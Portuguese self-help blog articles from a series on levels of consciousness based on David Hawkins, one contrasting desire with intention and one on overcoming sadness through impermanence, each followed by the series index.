O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Como se Livrar da tristeza – com base em Dr. David Hawkins

A tristeza é uma reação natural do ego humano que aparece toda vez que nos frustramos sobre uma expectativa.

Ficamos tristes todas as vezes que perdemos algo, alguém, uma posição ou não conseguimos aquilo que queríamos. A tristeza é uma condição de luto.

Por que ela surge? Ela aparece como forma de impotência por não ter conseguido intervir para alcançar um resultado, salvar seu objeto ou manter um relacionamento próximo.

Com isso, ficamos emocionalmente abalados por não sabermos como será o futuro sem aquele algo que nos acompanhou até ali.

Ou, ainda, vivemos na incerteza pelos planos não terem dado certo.

De onde ela surge?

Nosso ego é completamente aversivo à incerteza e é daí que nascem as emoções negativas.

Aversão ao desconhecido. Aversão por não saber se o diferente será tão prazeroso como imaginamos que seria ou como foi no passado.

A tristeza surge da ilusão de que:

  1. Tudo aquilo que imaginamos nas condições perfeitas e possíveis de nossa mente irá se manifestar na realidade (e se não se manifestar seremos infelizes);
  2. Tudo aquilo que possuímos continuará conosco pelo período que acreditamos ser o ideal em nossa mente.

Vamos ver um exemplo de ilusão que gera tristeza:

Quando eu compro um carro, já planejo ficar com ele por uns 3 anos e depois vendê-lo, sem qualquer arranhão, e ganhar um bom dinheiro na venda.

Se algo sair desta expectativa, me frustro e encontro a tristeza.

Pode acontecer do carro:

  • bater,
  • ser roubado,
  • quebrar,
  • sair de linha,
  • ser desvalorizado,
  • ocorrer uma crise econômica,
  • posso não achar um bom comprador,
  • posso ficar sem dinheiro pra completar a entrada para um novo carro.

Ou seja, infinitas possibilidades.

Mas, como em minha mente tudo é perfeito, quero (mimadamente) que tudo saia de acordo com o esperado. Não sairá!

Como, então, diminuir a tristeza em nossas vidas?

Para que possamos diminuir nossas expectativas e tristezas, um bom exercício é perceber que tudo é impermanente.

E, mais do que isso, perceber que tudo acontece por sincronicidade.

Essa sincronicidade está ligada à diversas variáveis. Depende da:

  • intenção de 7 bilhões de pessoas,
  • das culturas e condições sociais de cada ambiente,
  • mais a natureza,
  • mais as condições climáticas e territoriais,
  • e ainda do universo todo se movimentando.

Então, o que tiver que acontecer, irá acontecer para que a sincronia continue perfeita.

Assimilando isso, percebemos que nosso controle sobre as coisas é frágil.

Aí nos aproximamos mais da realidade como ela é, e não como gostaríamos que fosse em nossa imaginação.

Pois, só na imaginação controlamos todas as situações e pessoas do jeito que queremos.

Com esse primeiro discernimento, podemos avaliar o seguinte: nada é propriedade nossa (com total controle).

Apenas exercemos um governo e uma responsabilidade pelas coisas, pessoas e situações que estamos inseridos, enquanto a sincronia da vida permite.

São pequenos mimos que recebemos da vida por um período para que possamos desfrutar de prazeres.

Por isso, se essas condições forem supervalorizadas, no momento onde esses mimos tiverem que se separar de nós, vão nos fazer chorar, gritar e berrar, como uma criança birrenta.

Pergunte a si mesmo: quem está lidando com a perda que causa tristeza?

Vale então se perguntar: quem é que está lidando com essa perda, o adulto maduro ou a criança mimada dentro de mim?

O adulto maduro percebe a perda como algo natural da vida que muda a todo instante e, por mais que sofra, encara aquilo com coragem de seguir em frente.

A criança mimada já acha que o mundo dela acabou. Acha que nunca mais será feliz, que a vida é injusta, que Deus está punindo, etc etc etc. Acredita em “história para boi dormir”.

E por isso vem a tristeza. Entendendo que tudo é impermanente e estamos exercendo uma responsabilidade temporária, podemos trocar expectativas de cenários ideais por intenções reais.

Abrindo mão, deixando ir.

É necessário abrir mão de posturas como:

  • “tenho que proteger isso (pessoa, coisa, situação, ideia, opinião, expectativa) com unhas e dentes”.
  • “isso é meu e tem que durar o quanto eu quero” — reação da inconsciência animal emocional.

Assim, passo a exercer o: “vou dar meu melhor para desfrutar disso enquanto me for permitido” — intenção da consciência humana racional.

Essa abordagem — com base na realidade como ela se manifesta — nos protege de acreditar nos véus de ilusão que nos permitimos colocar através das sugestões incansáveis de nossa mente tagarela e desesperada.

Afinal, esses véus ilusórios foram criados simplesmente pelas projeções de expectativas de nossos círculos sociais sobre nós e pelos ideais inconscientes culturais de nossa sociedade.

Agora que entende um pouco melhor o que é a tristeza, segue uma sugestão: se você quiser realizar outras práticas para complementar a abordada neste artigo, pode visitar a página de Autodesafios© Pandora Treinamentos e verificar qual área da sua vida está passando por dificuldades e que você gostaria de ajustar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual